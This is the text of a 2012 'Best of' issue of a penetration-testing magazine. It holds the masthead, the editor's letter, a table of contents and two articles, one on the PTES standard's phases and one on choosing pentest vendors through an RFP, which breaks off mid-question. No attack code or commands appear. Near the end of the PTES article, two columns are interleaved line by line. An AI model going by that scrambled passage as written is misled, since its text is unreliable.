EDITOR’S NOTE
THE BEST OF
TEAM
Managing Editor: Maciej Kozuszek
maciej.kozuszek@software.com.pl
Associate Editor: Aby Rao
abyrao@gmail.com
Betatesters / Proofreaders: Aby Rao, Rishi Narang,
Jeff Weaver, Scott Christie, Dennis Distler, Massimo Buso,
Ed Werzyn, Jonathan Ringler, Johan Snyman, Michael Munty,
Alberto Alvarez, Juan Bidini, Eric Stalter
Senior Consultant/Publisher: Paweł Marciniak
CEO: Ewa Dudzic
ewa.dudzic@software.com.pl
Art Director: Ireneusz Pogroszewski
ireneusz.pogroszewski@software.com.pl
DTP: Ireneusz Pogroszewski
Production Director: Andrzej Kuca
andrzej.kuca@software.com.pl
Publisher: Software Press Sp. z o.o. SK
02-682 Warszawa, ul. Bokserska 1
Phone: 1 917 338 3631
www.pentestmag.com
Whilst every effort has been made to ensure the high quality of
the magazine, the editors make no warranty, express or implied,
concerning the results of content usage.
All trade marks presented in the magazine were used only for
informative purposes.
All rights to trade marks presented in the magazine are
reserved by the companies which own them.
To create graphs and diagrams we used program
by
Mathematical formulas created by Design Science MathType™
DISCLAIMER!
The techniques described in our articles may only
be used in private, local networks. The editors
hold no responsibility for misuse of the presented
techniques or consequent data loss.
THE BEST OF 01/2012
Dear Readers!
Dear PenTest community members! It will soon be a year since the PenTest
first issue was released. So here comes the time to summarize the first year
of our work, but also to celebrate our first birthday. And, as most of us know,
there is no birthday without a gift! And this gift from PenTest to you is The
Best of PenTest – 200 pages of content, the best 32 articles chosen from 28
PenTest Magazine issues.
As I’ve mentioned before, apart from celebrating, this special moment is
also a time to look back behind us and see what we’ve managed to achieve
for this time!
Four issues in a month. Perhaps not everyone reading this is aware
that at the beginning we’ve published only one issue in a month – PenTest
Regular. After 5 issues were released, we’ve started releasing PenTest
Extra on October 15th, which was recently transformed into PenTest
Market. Soon after that, we’ve launched PenTest Starterkit, which first issue
was released on November 7th. After releasing 3 issues, we’ve decided
to change the profile of the issue, and therefore it’s name, into Auditing
& Standards PenTest. The youngest, and seems that the most popular
magazine, is Web App Pentesting. Firstly released on November 22nd ,
now it has the most downloads and views amongst all other issues.
Heaps of books and trainings given to our community members, to help
raise pentesting & ethical hacking skills. We’ve partnered with dozens of
companies to help spread the word about our publication, and also spent
countless hours to get all the books and trainings in return, in order make
our offer even more attractive and give you what you really need – true
value knowledge for a reasonable price.
Sponsored numbers of different conferences all around the world to help
the community – beginning from the biggest one, like Hacker Halted or
Black Hat, ending with even the smallest like AthCon.
Delivered a lot of reviews and other free content, all to help educate
you!
What we shouldn’t forget about, is also our editorial staff – all people
who have helped us in a various ways to make existence of our magazine
possible. Here, we believe that we owe a special thanks to the following
people: Aby Rao, Rishi Narang, Jeff Weaver, Scott Christie, Dennis Distler,
Massimo Buso, Ed Werzyn, Jonathan Ringler – thank you, we wouldn’t be
where we are without your help & support!
As always, we hope, you will find this issue of PenTest compelling and
valuable.
Enjoy reading!
Maciej Kozuszek
& PenTest Team
Page 4 http://pentestmag.com

PENTEST REGULAR
Fixing the Industry
08
By Iftach Ian Amit and Chris Nickerson
Penetration testing has been a skill (some say an art) for
as long as we can remember information security and the
computer industry. Nevertheless, over the past decade or
so, the term has been completely ambiguated.
What Should You Look For?
12 By Bill Mathews
Why would you ever need a penetration test? The answer
per usual, depends on your perspective and needs. Most
companies that have sensitive data in their enterprises
should look at getting some form of penetration testing
Why do I say, some form? Simply put, there are as many
definitions of penetration testing as there are fish in the
ocean. Seriously, sometimes I think we make this stuff up
as we go along.
Physical Goes First On The
16 Importance of Physical Pentesting
(With Some Practical Advice)
By Emerson Lima
Physical pentesting is still dangerously neglected by
enterprises. With a top-notch digital protection they
seem to forget that it will all come to nothing if a physical
security breach happens. Let’s try to look into this
problem.
Great Pen Test Coverage Too Close
22 for Missiles, Switching to Bullets!
By Aaron Bryson
Tell me if this sounds familiar…you are asked to perform
a penetration test on customer network to determine the
security posture of their assets, and the first thing they
do is give you a list of assets that you are NOT allowed
to test, because they are critical systems to the business.
Ironic isn’t it? This is exactly the difficulty you can expect
when performing penetration testing in the cloud, but
multiplied by ten.
Attacking the Mobile Infrastructure
26
By Bill Mathews
We will explore a few philosophies for attacking a mobile
management infrastructure. The article will cover the
differences in testing mobile stuff vs “everything else” as
well as reusing some of the things you know to demystify
the mobile world.
Fuzzing in a Penetration Test
30
By Joshua Wright
Protocol fuzzing has been a popular technique for bug
discovery with a number of tools, books and papers
THE BEST OF 01/2012
CONTENTS
describing the benefits and drawbacks. Although
typically used for bug discovery in a lab environment,
there are opportunities to use fuzzing in a penetration
testing role too. Here, you will certainly get convinced
by Josh, that fuzzing can be used in a wide range of
ways.
SQL Injection: Inject Your Way to
38 Success
By Christopher Payne
Databases are the backbone of most commercial websites
on the internet today. They store the data that is delivered
to website visitors (including customers, suppliers,
employees, and business partners). Backend databases
contain lots of juicy information that an attacker may be
interested in. Here the author makes a great introduction
into the art of SQL Injection.
Hi! I Hacked Your Computer
46 By Milind Bhargava
With every passing day, with each new software, hackers
around the world start looking for vulnerabilities and write
exploit codes for them. Patching those vulnerabilities
takes a lot of time and by then the systems have been
compromised. As an attacker, there are many ways
to compromise the client side systems, my preferred
method involves social engineering.
Mastering the Behavioral Techniques
52 for Quick Rapport and Elicitation
By Robin Dreeke
There are skilled conversationalists that can induce an
individual tounwittingly divulge their deepest secrets,
their closest held personal information, and even their
banking information and passwords without being asked
any direct or related questions.
Tool Jockeys in Disguise: Defeating
60
the Push Button Penetration Testers
By Wardell Motley
What drives your search for a penetration tester? Was
a recent security breach, or a compliance requirement,
or maybe just a conversation over a round of golf with
someone that recently underwent an assessment?
On the Automated Black-Box
62
Security Testing of Web Applications
By Cristian Tancov and Cristian Opinacru
Fuzzing. Although this technique has been around since
1989, it had gained significant importance only with the
rise of cloud computing era, which, ironically,means it
is still in its early days (at least for the web applications
fuzzing).
Page 5 http://pentestmag.com
CONTENTS
PENTEST EXTRA
From Footprinting to Exploitation
70
By Piotr Chynał
Tenable Nessus is a very popular tool for scanning for
vulenrabilities. Piotr Chynał will show you all task that
you need to know to do penetration test using Nessus
and Metasploit. He will answer to typical questions: Is it
really good? Can we use it for penetration testing?
Web Application Security
76
By Jakub Gałczyk
By using our web site, managers can send us their
documents and resume. In our web page, we have
installed and configured some kind of popular CMS
(Content Management System). Jakub Gałczyk, in his
short article, presents how to check whether the web
application is vulnerable to Internet attacks.
The Benefits of Ethical Hacking
82
By Bryan Soliman
The wide growth of the Internet has brought good things
to the modern societies such as easy access to online
stores, electronic commerce, emails, and new avenues
of information distribution and advertising. As with most
technological advances, there is always a dark side: the
criminal hackers where they represent a threat to these
information avenues.
Is That A Phone In Your Pocket Or
86 Are You Scanning My Network?
By Ken Westin
When most people think of penetration testing, they think
of a simulated external attack where the tester tries to
break into a network from a remotely. Companies focus
most of the security spending and policies on keeping
hackers from the outside in, from firewalls and other
security hardening appliances, software and tools.
Penetration Testing For iPhone and
92 iPad Applications
By Kunjan Shah
This article focuses specifically on helping security
professionals understand the nuances of penetration testing
iPhone/iPad applications. It attempts to cover the key steps
the reader would need to understand such as setting up the
test environment, installing the simulator, configuring the
proxy tool and decompiling applications etc.
Guaranteed Access
102 By Jon Derrenbacker
Everyone has different ideas of what physical security is,
what it encompasses, and how to exploit it. It can include
a wide range of exploits, many being surprisingly simple.
THE BEST OF 01/2012 Page 6
Regardless of method, going after physical security in
a PenTest often proves one of the easiest ways to gain
access to a network.
XSS & CSRF Practical exploitation
108
of post-authentication
vulnerabilities in web applications
By Marsel Nizamutdinov
The goal of this article is to demonstrate the real danger
of post-authenticated vulnerabilities. We will not explain
the basics of web application attacks in this article,
as that has already been done many times before by
others. We will focus on a practical way to exploit post-
authentication XSS’s and CSRF, which remain a highly
underestimated attack vector in the security scene.
Finding your target
116 By Willem Mouton
Dumpster diving, if you are up for it and have physical
access to the target, means sifting through trash to get
useful information, but in recent times social media can
provide us with even more. Sites like LinkedIn, Facebook
and Twitter can provide you with lists of employees,
projects that the organization is involved with and
perhaps even information about third party products and
suppliers that are in use.
PENTEST MARKET
The Hunt for Pentesters
120 By Fabiana Schütz
The aim of this article is to give the reader and idea of the
criteria assessed by headhunters to identify trustworthy
and technically capable pentesters. By shedding light on
those aspects, this article will therefore give the readers
an understanding of the usual education, competencies
and soft skills a valuable pentester should demonstrate.
PENTEST STARTERKIT
PenTesting and risk management
124 By Alessandro Manotti
As far as attack popularity goes, the analysts determined
that DDoS was mentioned in 22 percent of internet forums
discussions. SQL injection, a technique commonly used
to compromise websites, is the second most frequently
discussed attack method.
QRbot – iPhone QR botnet
128 By Nir Valtman
This article is related to both social engineering and cyber-
crime. Why social engineering? Since QR usage is based
on interactive actions of mobile users, which might lead
to threats on their devices, as will be explained in detail
later.
http://pentestmag.com

IT Security & Risk to data – the
134 ever changing landscape
By Carl Nightingale
The world of corporate governance has brought added
pressure and cost to organisations safeguarding
themselves against external (and not forgetting the
internal) threats. Sarbanes Oxley, PCI, Solvency, MiFID, (to
name but a few) has forced organisations to take a closer
look at how they apply control over their operations.
AUDITING & STANDARDS
PENTEST
Operating System Security Re-
138 visited
By Ian Tibble
Information security, in terms of the risk management of
electronic information, is a young and relatively new practice
in the business world. Information security departments
are less than a decade old in many businesses.
Separating Fact from Fiction – The
144 realities of Cyber War
By Don Eijndhoven
Cyber War. Two words that you’ll have heard in the news
a few times by now. You’ll have heard it more and more
over the last year or so. Maybe two or three years if you’ve
been halfway interested or happened to be browsing on
IT websites that cover cyber warfare.
PENTEST STANDARD
Network Segmentation – The clues
148
to switch a PCI DSS compliance’s
nightmare into an easy path
By Marc Segarra López
There is no better description of network segmentation
in PCI DSS than the one Marc Segarra López presents
in his in-depth article. Everything there is to know,
from addressing PCI DSS compliance to special
recommendations on any situation can be found in
here.
WEB APP PENTESTING
The significance of HTTP and
154 the Web for Advanced Persistent
Threats
By Matthieu Estrade
The means used to achieve an APT are often substantial
and proportional to the criticality of targeted data
– note Matthieu Esterade. Author claims that APT
are not just temporary attacks, but real and constant
threats with latent effect that need to fought in the long
run.
THE BEST OF 01/2012 Page 7
CONTENTS
Web Session Management
160 – reality is a nightmare!
By Rishi Narang
Session Management is fundamentally a process
of keeping track of a user’s activity across multiple
connections or interactions with the machine. Rishi
Narang shows checklist of precautions for developers to
follow as a benchmark option for web applications.
Modeling Security Penetration Tests
166 with Stringent Time Constraints
By Alan Cao
In this article author Alan Cao discusses the modeling
aspect of XBOSoft Modeling, Planning, Execution, and
Analysis (MPEA) approach and explains how to best
model security projects with little time. Company’s overall
goal of penetration testing is to reduce vulnerability-
associated risks in a limited time.
Cloud Computing – Legal Issues
172 By Abhijeet Parandekar &Sagar Rahurkar
Cloud computing involves the sharing or storage by
users of their own information on remote servers owned
or operated by others and accessed through the Internet
or other connections.
Web Application Security and
180 Penetration Testing
By Bryan Soliman
Author shows the importance of Penetration Testing in
Web Application Security. Penetration testing includes
all of the process in vulnerabilities assessment plus
the exploitation of vulnerabilities found in the discovery
phase.
Open Source Web Application
188 Security Testing Tools
By Vinodh Velusamy
Author shows us the significance of Open Source Web
Application Security Testing Tools. As he claims „When
you choose and use good tools, you’ll know it. Amazingly,
you’ll minimize your time and effort installing them,
running your tests, reporting your results – everything
from start to finish.
A chance to ease automated Web
196 Site testing
By Marek Zachara
„Testing a web application is a tedious task. Also, the
requirements for a perfect tester are almost impossible
to meet. Such person should be thorough, resistant to
boredom of numerous repetitions and yet creative to
invent new testing scenarios” maintains author.
http://pentestmag.com

Fixing the Industry
Penetration testing has been a skill (some say an art) for as long
as we can remember information security and the computer
industry. Nevertheless, over the past decade or so, the term
has been completely ambiguated. It has been cannibalized,
commercialized, and transformed into a market where charlatans
and professionals are on the same playing field.
T
he commercial industry has embraced the
Sexyness of penetration tests, built products
around it uprooted its values with product marketing
and sales speak, and conned organizations into buying
deeper and deeper to the dreaded pentest unit (as in I
need 2 units of pentest to complete this compliance effort).
Backed by a thriving regulatory compliance rush to check-
off as many items as they can on audit lists, pentesting
was given the final blow to its heritage of value. A once
surgical skill that required innovation, critical thinking,
technical savvy, business understanding, and good old
hacker-sense was reduced to a check box on the back of
a consulting companies marketing material.
This type of market commoditization has led to the
frustration of many businesses and consultants alike.
With this in mind, a group of security veterans (each one
Commercializing security tools and Compliance
are giving the industry a double-blow
with at least a decade under their belts, and numerous
successful penetration tests in various industries) have
gotten together to discuss the state of the industry, and a
common gripe was echoed. Many of the venting sessions
from professionals around the world centered around
the wide array of testing quality within penetration tests.
This huge gap was often boiled down to the Scanner/
Tool Tests and the Real Testing arguments. Another
common theme for these sessions was the decided
THE BEST OF 01/2012 Page 8
PENTEST REGULAR
lack of value presented by the Scanner type of testing
and some brainstorming of how that could be resolved
worldwide. This issue was not localized or specific to any
vertical but it was something that InfoSec professionals
from all around the globe were experiencing. From these
sessions happening at EVERY security conference
thrown an idea was born. The idea – to finally standardize
and define what a penetration test really is. This would
help the testers increase the quality and repeatability of
the testing while also giving the organizations doing the
testing, a reference list of what is to be done during the
test. This is where the Penetration Testing Execution
Standard (PTES) started. After a couple of months of
working behind the scenes, a group of about a dozen
security practitioners from different parts of the industry
put forth a basic mind map of how they did penetration
tests. Later on, that blended map was released to a larger
group of InfoSec professionals. This group tore apart the
original map and streamlined it to fit a larger and wider
audience. At that point a final rendition of the mindmap
was constructed between 25+ International InfoSec
Professionals. With over 1800 revisions to the Alpha
mindmap, the team then opened up the stage for more
massive collaboration and started building one of the
more exciting concepts in the security industry. Currently
the Penetration Testing Execution Standard is backed by
dozens of volunteers from all around the world, working in
teams on writing the finer details of what will be the golden
http://pentestmag.com
standard for penetration testing for organizations as small
as a 15 people company, and as large as a government
agency or a nation’s critical infrastructure.
The standard spans seven sections that define the
content of a penetration test. These sections cover
everything from how to formalize the engagement
legally and commercially, up to what areas the final
report should cover. Following is an overview of the
seven sections and what they reflect in terms of how a
penetration test should be conducted.
Pre-Engagement interaction
In this section the standard defines some basic rules
of engagement, scoping, points of contact, and most
importantly goals for the engagement. It is often neglected
and overlooked (as in our previous example of two pentest
units – that are usually followed by a website or an IP
address to be tested), and one of the main reasons for
organizations not getting any value out of such testing. The
section goes on to define what are the allowed resources
that the tester can utilize in the business, and the tester is
given an opportunity to gain a better understanding of what
is the business aspect that is being scrutinized, and what
are the real goals of the test (which are NEVER a server,
an application, or even a network). In addition to the goal/
value oriented approach of the tester, the organizations
receiving the test (customer) will also be able to reference
this section. The customer will be able to set guidelines for
the test, understand the safeguards put in place and have
a full understanding of the communication pathways that
will be open throughout the test. Often times, customers
do not have the appropriate channel of communication
with the testing group and it causes confusion in the testing
process. We aim to make the goals and tests performed
clear to both sides well before the testing begins.
Information and Intelligence Gathering
In this section the standard really kicks in. This is where
we were receiving the most comments in the lines of this
is too expensive, we don’t know how to do this, and this
is not really necessary. From our collective experience
(at least the founding team) we can clearly state that
when this phase is done right, we can already know the
outcome of the pentest. During the intelligence-gathering
phase, the tester aims to build a comprehensive as
possible picture of the target organization. Everything
from corporate information, the vertical in which the
organization is operating in, business processes that are
crucial to the business, financial information and all the way
up to mapping out specific personnel, their online social
presence and how to use all of that information in a way that
an attacker would use. On the other hand, the organization
being tested will finally get a clear overview of how it is being
THE BEST OF 01/2012
perceived by an investigative attacker. A lot of information
is being spilled out through unauthorized (and seemingly
legitimate) channels, social media, and just plain old bad
policies. It is crucial for the tested organization to see
exactly what information is available out there in order to
either prepare for such information being used against them
or fix any policy/training gaps that it may have in relation to
information disclosure. Until this exercise is performed, most
companies do not understand the gravity of the information
that can be collected about them. For example: If a tester
can identify that the customer is using an unpatched version
of Acrobat (found through the analysis of metadata within
a published document), they are a prime candidate for a
client side/malicious file attachment attach. Also, if there
are sensitive documents published on corporate directed
locations, it may pose an even bigger risk (i.e. VPN Login
instructions on a public webserver; Yes…we ran into these
many times in the past).
The information and intelligence gathering phase
aims to gather as much information as possible about
the target and fully explore the increased threat surface
to attack. The standard covers digital collection through
open source intelligence resources as well as paid for
resources, physical on-site collection and observation,
and human intelligence collection. After all, the more a
tester has to attack the more comprehensive the results
will be. This is the most aggressive approach available
but will not be required for all strengths of tests. It’s
important to note that the standard will also define levels
or strength of operations within each section – which
would allow small engagements to employ the more
standard OSINT (Open Source Intelligence) methods,
and larger scale or higher level/strength engagements
to include the more elaborate on-site, physical and
HUMINT (Human Intelligence) elements.
Threat Modeling
The threat-modeling section provides the tester and the
organization with clear documentation of the relevant
threat communities as well as the assets and their values.
The threat modeling is performed around two central
lines – the attacker, and the business assets. From an
attacker perspective, all the relevant threat communities
are identified, researched, documented, and their
capabilities are fully analyzed and documented.
From a business asset perspective, all the critical business
assets (physical, logical, process, 3rd party, intellectual,
etc.) are identified. During the documentation phase of
these assets, every relevant supporting technology system
is mapped, along with the relevant personnel, interaction,
processing, and the information lifecycle.
The main output from this phase is a well-documented
threat model that takes into account the data gathered
Page 9 http://pentestmag.com

and analyzed at the intelligence gathering phase, and can
be used to create attack trees and map out venues for
vulnerability analysis of key processes and technologies.
This is another key component to providing value in
Penetration Testing. If the customer does not know what the
threat is to the business or the actual risk, why should they
resolve the issue. Threat Modeling provides a weighting
system so that testers can rely less on a screenshot of a
shell and more on the overall value to the business.
Vulnerability Analysis
Only at this stage we run into what more traditional
penetration tests actually include in their scope. As we
can clearly see, the new penetration testing execution
standard provides a much more thorough background
– both from a business understanding, as well as from a
technical perspective to the test. Leveraging this extensive
research, the vulnerability analysis phase (which can
sometimes be considered as a technology centric threat
modeling) defines the extensive coverage of mapping
out and documenting any vulnerability in processes,
physical infrastructure, and of course technology related
elements. This phase does include some interaction
with the organization, as the testers probe for services
and equipment, confirm assumptions made at the
threat modeling and intelligence gathering phases, and
fingerprint the underlying software being deployed.
One of the deliverables from this phase (on top of the
actual vulnerability mapping and assertion) is attack trees
that correspond to the entire process thus far. This by
itself can provide a lot of value to the organization as a
living document that can be updated with relevant threats,
vulnerabilities and exposure that is used as one of the
parameters for the ongoing risk management practice.
Mind you, this is not just running a scan or port
mapping. This is a comprehensive process to analyze
the data collected for attack routes as well as identify
venues for attacks. The tester will leverage conventional
and unconventional ways to identify vulnerabilities from
missing patches, open services, misconfigurations,
default passwords, Intellectual Property leakage,
increased threat through information (leaked passwords/
docs), and much more. This hybrid approach allows
the testers to collect actionable information and rank
the ease of attacks. Once the tester has analyzed the
potential vulnerabilities present, they will have a clear
picture of what/why/how/where and when to execute
attacks to confirm the validity of that vulnerability.
Exploitation
The exploitation section is very close to the common scope
of penetration tests these days. It includes the actual attack
execution against the organization. With all the proper
THE BEST OF 01/2012 Page 10
PENTEST REGULAR
intelligence, threat modeling and vulnerability analysis in
place; this phase becomes much more focused and more
importantly much more fine-tuned to the organization being
tested. In a proper penetration test, we should not just see
spread-spectrum scans and exploitation attempts on
every conceivable technology from a tool or two, but also
(and again – much more importantly) a dedicated attack
path that lends from the true assets that the organization
holds and the specific vulnerabilities (either technology
related or human/process related). This type of validation
is a process that is often lost in the throw all the attacks we
have at it type automation. Here, the standard aims to act
on the vulnerabilities identified and confirm or refute their
existence. Many testers and testing tools, due to lack of
actionable intelligence or poor planning, will run exploits
against hosts that do not have the exploitable package
running or even installed. This causes undue increased
traffic and potential risk to the business environment.
Post-Exploitation
At this point most pentests conclude the engagement
and provide a report that includes every finding with
some sort of traffic light rating (low, medium, high...) that
is pre-baked into the reporting tool. However, real world
attacks would not suffice in getting a foothold inside the
organization, and would try to leverage it further – either
trying to obtain additional information/resources, or to
actually find a way to exfiltrate the information/control
outside of the organization. The exfiltration and access
to the data types or control systems will fit directly into
the threat modeling conducted earlier in the process.
The tester will be able to show the real company impact
of certain attacks and why they are relevant to the
company (i.e. there is a big difference in showing an
executive a screenshot of a shell than showing them
the interface THEY use to change the General Ledger
within the ERP system. This type of focus provides an
instant impact and is formatted in the language that
makes sense to the business).
The post-exploitation phase defines the scope of
such additional tasks, that provide the organization with
a way to see how would it really stand up to such an
attack, and whether it would be able to identify related
data breaches and leaks. Conducting this focused
attack on resources paints a very clear and concise
picture of the threats capability and its possible effects
on the business as a whole.
Reporting
Finally – this trip through an attackers modus-operandi
needs to be concluded with a clear and useful report,
for the organization to actually see value from such an
engagement. The value is not limited to documenting
http://pentestmag.com
the technical gaps that need to be addressed, but also an additional value to the customer as they are allowed
needs to provide a more executive-level report that to test the effectiveness of their defensive monitoring
reflects the organization’s exposure to loss in business systems and/or outsources solutions.
terms (financial). This would include the actual meaning At the end of the day, the forces of the industry will
of which assets are at the highest risk, how much dictate what a penetration test will look like and what
resources are used to protect different assets, and a would it contain. Nevertheless, the PTES is aimed to
recommendation on how to more efficiently close any provide the industry with a baseline it clearly lacks now.
gaps in exposure by spending resources on controls The term has been mutated over many iterations and
and protections more intelligently. it has been given a very narrow freedom to operate
Such a recommendation would not have been possible between the minimum that has been dictated by
without the surrounding activities that provide the business regulatory requirements (which did good and actually
relevance of the exercise and the tested business forced more businesses to test themselves), and the
elements. This is also where the organization would “glass ceiling” that has been created de-facto by the
end up finding the most value out of the engagement, hordes of pentesters that know nothing better than
as opposed to most common pentests which leave it using some product to push out a report to the customer
with a laundry-list of exploits and vulnerabilities, without and move on to the next. By clearly defining the term
their actual relevance or business impact. In the report, (which is used in a multitude of standards without an
the tester will be required to identify the symptomatic adequate definition of what it means or consists of)
vulnerabilities (like a patch missing) as well as tie out the and what the purpose, value and components of a
systemic vulnerabilities – a patch is missing BECAUSE Penetration Test are, PTES will increase the confidence
there are gaps in policy and procedure in x/y/z area which of customers and testers alike. For quite some time
allowed for the patch to not be now, organizations expect
installed in a timely manner or
Measuring detection and incident response is an the value of conducting a
within the specified time)
integrated part of a penetration test Penetration test to be not
It’s important to note that although there isn’t a much more than a rubber stamp on the audit report or a
dedicated section for detection and incident response, ticked checkbox on their compliance worksheet. PTES
the organizations capabilities to identify, and react to is attempting to increase that value and blow some wind
anything from the intelligence gathering, through the into the dwindling sails of what once was a critical part
vulnerability analysis, exploitation and post exploitation of running a secure operations. In the modern days
is also put to the test. The penetration test includes where everyone being so easily hacked by an APT isn’t
direct references to such capabilities in each section (as it time our testers start acting like one? Or would you
well as in the reporting section), and can be extremely rather an Automated Penetration Test (APT) that you
useful to clearly identify the organization maturity in pay for and does not even attempt to learn WHY they
terms of risk management and handling. This provides are doing the test in the first place?

IFTACH IAN AMIT CHRIS NICKERSON

brings over a decade of experience in
the security industry, and a mixture of
software development, OS, network
and Web security expertise as Vice
President Consulting to the top-tier
security consulting �rm Security-
Art. Prior to Security-Art, Ian was
the Director of Security Research at
Aladdin and Finjan. Ian has also held
leadership roles as founder and CTO
of a security startup in the IDS/IPS
arena, and a director at Datavantage. Prior to Datavantage,
he managed the Internet Applications as well as the UNIX
departments at the security consulting �rm Comsec.
Ian is a frequent speaker at the leading industry conferences
such as BlackHat, DefCon, Infosec, Hacker-Halted, FIRST,
BruCon, SOURCE, ph-neutral, and many more.
Chris Nickerson, CEO of LARES, is just
another Security guy with a whole
bunch of certs whose main area of
expertise is focused on Real world Attack
Modeling, Red Team Testing and Infosec
Testing. At Lares, Chris leads a team
of security professional who conduct
Risk Assessments, Penetration testing,
Application Testing, Social Engineering, Red Team Testing and
Full Adversarial Attack Modeling. Prior to starting Lares, Chris
was Dir. of Security Services at Alternative Technology, a Sr. IT
compliance at KPMG, Sr. Security Architect and Compliance
Manager at Sprint Corporate Security. Chris is a member of
many security groups and was also a featured member of TruTV’s
Tiger Team. Chris is the cohost of the Exotic liability Podcast, the
author of the upcoming RED TEAM TESTING book published by
Elsevier/Syngress and a founding member of BSIDES Conference.

THE BEST OF 01/2012 Page 11 http://pentestmag.com

 PENTEST REGULAR

Penetration Testing
What Should You Look For?

So you’re in the market for penetration testing? Do you know what

you’re buying? Do you know how to buy it? I will attempt to define
the types of penetration testers out there along with a sound
Request for Proposal process for penetration testing. Be careful
what you buy, you only get what you ask for.

S
o right off the top, a disclaimer: I earned a living
for many years as a penetration tester and now
run the penetration testing team at Hurricane
Labs. Now that I have that out of the way, here we go.
Why would you ever need a penetration test? The
answer, per usual, depends on your perspective and
needs. Most companies that have sensitive data in
their enterprises should look at getting some form of
penetration testing. Why do I say, “some form”? Simply
put, there are as many definitions of penetration testing
as there are fish in the ocean. Seriously, sometimes I
think we make this stuff up as we go along. If you’re
looking at hiring out a third party to do your penetration
test (and you should, reasons later), I think it would be
helpful to go through some of the definitions as I see
them in the industry. This list should then help you form
some intelligent questions to ask the companies you
are considering. After the definitions we’ll review some
questions you should include in your RFP to help weed
out some of the pretenders.
Definition Number 1 (N1)
Let’s scan them and hope they never actually get
attacked.
This is my least favorite of the varieties out there, mainly
because I thought this breed of service was long dead.
Sadly I still see it out there almost every week or so.
These are the guys who point Qualys, Nessus, or worse,
turned all the way up, at your network, press submit and
watch the fireworks. Typically they do no tuning of the
scan and just let it go. This is dangerous on so many
levels, and this sort of thing can quickly bring down your
whole network. You’ll recognize them because their
salespeople will say all the right things but their slicked
back hair will give it away. Ask them about their manual
testing methods and soon you’ll realize they have none.
By the way, these are the sorts that will give you a clean
bill of health in a day or so and offer no real opinion on
your applications or network. Avoid this sort of tester at
all costs.
Definition Number 2 (N2)
The Old Smash and Grab
I wish I could take credit for this but it was coined by
a colleague of mine (Rick Deacon @rickdeaconx).
Basically these are the guys who come in and simply
destroy your network and applications with no regard
for your business or money lost. They are also scanner
heavy and generally are in love with BackTrack and
Metasploit but only know enough to break things
and usually offer no recommendation on fixing them.
These are also the types that will drop a 120-page
report (single-spaced) on your desk and disappear.
They are generally only slightly better than number one

THE BEST OF 01/2012 Page 12 http://pentestmag.com

in that they employ some tools that take slightly more
skill than just pressing submit. They can be harder to
detect because they can talk a good game and make
it sound like what you expect a penetration test to be.
These are the ones you hear about that can tell you a
whole lot about an application being broken but very
little on how to fix it or why you should fix it. These
are the sorts of testers you would want to use on pre-
production testing. If your application or setup has an
obvious flaw they will probably find it. You wouldn’t
look to these guys for any precision testing or advice
about how your stuff should look or work.
Definition Number 3 (N3)
The Pacifier
This type of tester is basically afraid to break anything.
He will run light scans and quote best practices in the
reports but do little else. He won’t venture to break
anything for fear of the customer’s never hiring him
again. He will go to great lengths not to offend any
application developer or network architect, so some
things tend to go unreported. You will most often
see this type in smaller places that offer a ton of
services and products. They typically have some other
relationship with the customer on some other level,
maybe they sell them products or repair their printers
(don’t laugh – I’ve seen this) and oh, by the way, they
offer penetration tests too. Ideally you would want to
engage a place that has nothing to lose or has sufficient
division of penetration testing responsibilities. This will
become obvious after a good round of questions.
Definition Number 4 (N4)
The RFCist
This is a lesson I learned the hard way; you see, I
used to be an RFCist. I’m about 5 years clean now.
The RFCist is the person that can quote to you every
section of every RFC on the planet but not be able
to tell you why your application or network should
conform. The RFCist tends to be very poor at risk
analysis and tends to not understand the need for
executive summaries. Again I have been an RFCist
and have managed and still manage quite a few of
them. They can be challenging to manage but they are,
typically, invaluable members of a good penetration
testing team. The reason being is that they tend to
be very technically proficient and detail-oriented, both
of which are absolute requirements on a good team.
Usually their upsides far outweigh the downsides but
I’m very biased here. We also tend to be a very anti-
social lot but that’s okay, no one is perfect.
THE BEST OF 01/2012 Page 13
Definition Number 5 (N5)
The Auditor
The auditor is a funny one: they aren’t actually
auditors, but they walk and talk like one. Words like risk
analysis and GAAS are tossed around without concern
for anyone’s safety. This type tends to not be very
technical and would prefer to just interpret the results
of the more technical folks. This is the type that LOVES
to assign scores to things and put everything into its
neat little box. You find this type of tester at accounting
firms and other odd places to find penetration testers.
Again, they’re usually not doing the actual penetrating
but just tend to work on the reporting the most. They
also like to have a lot of letters after their names, I
don’t know why, that’s just how it is.
Definition Number 6 (N6)
The Rich Kid
I’ve run across this one quite a bit in my career and I
can almost always predict their argument. They’re the
ones who invested $100,000 in the tool of the year
and rely only on that tool to do the actual testing. They
tend to be less technical that good testers but if all
you’re after is a check mark on your audit they’ll suffice.
They use terms like Big Three firms and Fortune 500
customers as if they’re going out of style. They are
very buzzword-heavy and like to tell you how the tools
they use rate very highly on various industry tests. It’s
not that I’m opposed to a lot of the tools out there for
professional testing; I just don’t understand the point.
My philosophy is and has always been that an attacker
is probably not going to spend that kind of money for a
tool to attack your network or application. The attacker
will, more often than not, rely on some open source tool
they find or write the exploit themselves. My belief is
that a good tester should mirror the attacker and then
add the value of professional experience on top of that
skill. A good place for the rich kid is an internal team
that is just looking for the so-called low-hanging fruit.
Why would we want to outsource our penetration
tests in the first place? The reason is simple: typically
you want an unbiased look at your network and/or
application. You want someone to look at it externally
and tell you what they can see and can prove as
security issues. This can help you build a more robust
application or network and alert you to any number of
problems with your set-up. If you have internal folks
looking at it from a security angle – and you should
do that too – they will sometimes overlook something
because the set-up is so familiar to them. Also, internal
folks tend not to want to embarrass their buddy in the
http://pentestmag.com

next cube; I’ve see internal folks clue in their app dev
buddy and ruin the integrity of the test by letting them
fix it first. It is a great idea to have an internal team, but
they should not be your sole source of testing. You need
an unbiased look.
Every company has different needs, so you want to
weigh what you really need against what you’re going to
buy. If you have 10 desktops, no website, and outsource
your email, you probably don’t need a penetration test
at all. If, however, you have 10,000 desktops and 15
websites running across 1,000 servers and take credit
card transactions you should not be asking if you need
a penetration test, you should be asking how many you
should have a year. The process should and can be
painless for you if you do your due diligence up front
and ask the right questions.
Your journey should begin with a simple RFP process,
and I will tell you, as a guy who has done this for a
number of years, long form RFPs will not get you the
best testers out there. I have thrown away more long
form RFPs than I care to remember. In some cases the
RFPs were longer than the report would have been: I
have seen 20-page RFPs for testing out a single /27
subnet.
You want to start off with a clear mission
statement for your test: what do you want to
accomplish with this test?
This helps the respondent understand what you want to
get out of the test and can help focus team members in
on exactly what you want. Do not skip this step; it might
be the most important. Now, what sorts of questions
should you be asking? I’m glad you asked; in no
particular order:
How long have your individual team members
been performing penetration testing?
Please only include the team member(s) who will be
